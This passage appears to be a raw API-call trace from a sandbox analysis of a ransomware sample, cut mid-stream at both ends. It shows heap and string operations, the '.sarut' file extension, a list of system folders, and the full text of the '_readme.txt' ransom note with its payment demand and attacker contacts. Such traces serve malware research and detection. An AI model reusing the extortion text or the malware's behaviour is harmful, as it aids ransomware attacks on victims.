(in: lpString1="80BD5A01D9E6AC0534B4F46A", lpString2="9A" | out: lpString1="80BD5A01D9E6AC0534B4F46A9A") returned="80BD5A01D9E6AC0534B4F46A9A" [0264.240] GetLastError () returned 0x0 [0264.240] lstrcatA (in: lpString1="80BD5A01D9E6AC0534B4F46A9A", lpString2="2C" | out: lpString1="80BD5A01D9E6AC0534B4F46A9A2C") returned="80BD5A01D9E6AC0534B4F46A9A2C" [0264.240] GetLastError () returned 0x0 [0264.240] lstrcatA (in: lpString1="80BD5A01D9E6AC0534B4F46A9A2C", lpString2="9F" | out: lpString1="80BD5A01D9E6AC0534B4F46A9A2C9F") returned="80BD5A01D9E6AC0534B4F46A9A2C9F" [0264.240] GetLastError () returned 0x0 [0264.240] lstrcatA (in: lpString1="80BD5A01D9E6AC0534B4F46A9A2C9F", lpString2="1B" | out: lpString1="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned="80BD5A01D9E6AC0534B4F46A9A2C9F1B" [0264.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6eb050 | out: hHeap=0x640000) returned 1 [0264.240] CryptDestroyHash (hHash=0x30914a0) returned 1 [0264.240] CryptReleaseContext (hProv=0x2fa4f50, dwFlags=0x0) returned 1 [0264.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71eaa8 | out: hHeap=0x640000) returned 1 [0264.240] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0264.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff15e8 [0264.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x28) returned 0x3096fd0 [0264.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309b4e0 [0264.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309b748 [0264.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309b9b0 [0264.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309bc18 [0264.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309be80 [0264.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309c0e8 [0264.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309c350 [0264.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309c5b8 [0264.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309c820 [0264.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309ca88 [0264.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x816) returned 0x307d820 [0264.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e998, cbMultiByte=-1, lpWideCharStr=0x307d820, cchWideChar=1035 | out: lpWideCharStr="_readme.txt") returned 12 [0264.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x306f4f0 [0264.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307d820 | out: hHeap=0x640000) returned 1 [0264.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x28) returned 0x3097180 [0264.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309ccf0 [0264.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309cf58 [0264.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309d1c0 [0264.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309d428 [0264.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309d690 [0264.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309d8f8 [0264.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309db60 [0264.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x309ddc8 [0264.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30acf80 [0264.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30ad1e8 [0264.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x727580 [0264.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x130) returned 0x71f710 [0264.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0264.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1d0) returned 0x308e768 [0264.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71f710 | out: hHeap=0x640000) returned 1 [0264.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x2b7) returned 0x307c418 [0264.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x308e768 | out: hHeap=0x640000) returned 1 [0264.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x412) returned 0x712110 [0264.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307c418 | out: hHeap=0x640000) returned 1 [0264.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x61a) returned 0x307d820 [0264.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0264.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x470) returned 0x712110 [0264.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10ca) returned 0x71b9c0 [0264.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x712110, cbMultiByte=-1, lpWideCharStr=0x71b9c0, cchWideChar=2149 | out: lpWideCharStr="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned 1126 [0264.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10d0) returned 0x3075b20 [0264.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71b9c0 | out: hHeap=0x640000) returned 1 [0264.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0264.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x28) returned 0x3097150 [0264.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30ad450 [0264.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30ad6b8 [0264.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30ad920 [0264.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30adb88 [0264.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30addf0 [0264.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30ae058 [0264.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30ae2c0 [0264.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30ae528 [0264.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30ae790 [0264.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30ae9f8 [0264.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80c) returned 0x3071ee8 [0264.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e998, cbMultiByte=-1, lpWideCharStr=0x3071ee8, cchWideChar=1030 | out: lpWideCharStr=".sarut") returned 7 [0264.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x71b9c0 [0264.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3071ee8 | out: hHeap=0x640000) returned 1 [0264.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309e6c8 [0264.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x18) returned 0x6eac30 [0264.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0264.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab3a8 [0264.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6eac30 | out: hHeap=0x640000) returned 1 [0264.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff16b8 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x48) returned 0x3098f30 [0264.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab3a8 | out: hHeap=0x640000) returned 1 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081378 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1720 [0264.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3098f30 | out: hHeap=0x640000) returned 1 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2fa0 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fc14a0 [0264.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1720 | out: hHeap=0x640000) returned 1 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2ff8 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081408 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd8) returned 0x300f088 [0264.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fc14a0 | out: hHeap=0x640000) returned 1 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309e6f0 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3076c10 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1720 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x138) returned 0x71f710 [0264.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x300f088 | out: hHeap=0x640000) returned 1 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081450 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3076c68 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3076cc0 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081498 [0264.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c8) returned 0x306fd18 [0264.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71f710 | out: hHeap=0x640000) returned 1 [0264.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309e6c8 | out: hHeap=0x640000) returned 1 [0264.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0264.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff16b8 | out: hHeap=0x640000) returned 1 [0264.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081378 | out: hHeap=0x640000) returned 1 [0264.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2fa0 | out: hHeap=0x640000) returned 1 [0264.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2ff8 | out: hHeap=0x640000) returned 1 [0264.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081408 | out: hHeap=0x640000) returned 1 [0264.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309e6f0 | out: hHeap=0x640000) returned 1 [0264.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c10 | out: hHeap=0x640000) returned 1 [0264.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1720 | out: hHeap=0x640000) returned 1 [0264.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081450 | out: hHeap=0x640000) returned 1 [0264.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c68 | out: hHeap=0x640000) returned 1 [0264.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076cc0 | out: hHeap=0x640000) returned 1 [0264.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081498 | out: hHeap=0x640000) returned 1 [0264.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x306fd18 | out: hHeap=0x640000) returned 1 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x28) returned 0x30971e0 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30aec60 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30aeec8 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30af130 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30af398 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30af600 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30af868 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30afad0 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30afd38 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30affa0 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25c) returned 0x30b0208 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x727580 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x130) returned 0x71f710 [0264.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1d0) returned 0x308e768 [0264.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71f710 | out: hHeap=0x640000) returned 1 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x2b7) returned 0x307de48 [0264.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x308e768 | out: hHeap=0x640000) returned 1 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x412) returned 0x712110 [0264.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307de48 | out: hHeap=0x640000) returned 1 [0264.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x61a) returned 0x3077bf8 [0264.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0264.245] GetUserNameW (in: lpBuffer=0x18eca0, pcbBuffer=0x18ea0c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18ea0c) returned 1 [0264.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x590) returned 0x712110 [0264.246] GetLastError () returned 0x0 [0264.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71c1d8 | out: hHeap=0x640000) returned 1 [0264.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x834) returned 0x71c1d8 [0264.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x309ec68, cbMultiByte=-1, lpWideCharStr=0x71c1d8, cchWideChar=1050 | out: lpWideCharStr="C:\\Documents and Settings\\") returned 27 [0264.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x30b99e0 [0264.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71c1d8 | out: hHeap=0x640000) returned 1 [0264.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x81e) returned 0x71c1d8 [0264.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e998, cbMultiByte=-1, lpWideCharStr=0x71c1d8, cchWideChar=1039 | out: lpWideCharStr="C:\\ProgramData\\") returned 16 [0264.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30ba228 [0264.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71c1d8 | out: hHeap=0x640000) returned 1 [0264.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x818) returned 0x71c1d8 [0264.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e998, cbMultiByte=-1, lpWideCharStr=0x71c1d8, cchWideChar=1036 | out: lpWideCharStr="C:\\Recovery\\") returned 13 [0264.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30baa50 [0264.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71c1d8 | out: hHeap=0x640000) returned 1 [0264.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x2a0) returned 0x30727c0 [0264.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x306fd18 | out: hHeap=0x640000) returned 1 [0264.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x83a) returned 0x71c1d8 [0264.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x309ec68, cbMultiByte=-1, lpWideCharStr=0x71c1d8, cchWideChar=1053 | out: lpWideCharStr="C:\\System Volume Information\\") returned 30 [0264.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x30bb278 [0264.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71c1d8 | out: hHeap=0x640000) returned 1 [0264.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x848) returned 0x71c1d8 [0264.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30ab6f0, cbMultiByte=-1, lpWideCharStr=0x71c1d8, cchWideChar=1060 | out: lpWideCharStr="C:\\Users\\%username%\\AppData\\Roaming\\") returned 37 [0264.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x850) returned 0x30bbac0 [0264.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71c1d8 | out: hHeap=0x640000) returned 1 [0264.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc76) returned 0x71c1d8 [0264.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30bbac0 | out: hHeap=0x640000) returned 1 [0264.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x844) returned 0x30bbac0 [0264.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30ab6f0, cbMultiByte=-1, lpWideCharStr=0x30bbac0, cchWideChar=1058 | out: lpWideCharStr="C:\\Users\\%username%\\AppData\\Local\\") returned 35 [0264.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x850) returned 0x30bc310 [0264.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30bbac0 | out: hHeap=0x640000) returned 1 [0264.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc76) returned 0x30bcb68 [0264.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30bc310 | out: hHeap=0x640000) returned 1 [0264.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x816) returned 0x30bbac0 [0264.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e998, cbMultiByte=-1, lpWideCharStr=0x30bbac0, cchWideChar=1035 | out: lpWideCharStr="C:\\Windows\\") returned 12 [0264.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30bc2e0 [0264.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30bbac0 | out: hHeap=0x640000) returned 1 [0264.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x818) returned 0x30bbac0 [0264.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e998, cbMultiByte=-1, lpWideCharStr=0x30bbac0, cchWideChar=1036 | out: lpWideCharStr="C:\\PerfLogs\\") returned 13 [0264.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30bd7e8 [0264.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30bbac0 | out: hHeap=0x640000) returned 1 [0264.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x832) returned 0x30be010 [0264.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x309ec68, cbMultiByte=-1, lpWideCharStr=0x30be010, cchWideChar=1049 | out: lpWideCharStr="C:\\ProgramData\\Microsoft\\") returned 26 [0264.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x30be850 [0264.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30be010 | out: hHeap=0x640000) returned 1 [0264.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab6f0 [0264.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 [0264.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309ec68 | out: hHeap=0x640000) returned 1 [0264.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab6f0 | out: hHeap=0x640000) returned 1 [0264.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x309ec68 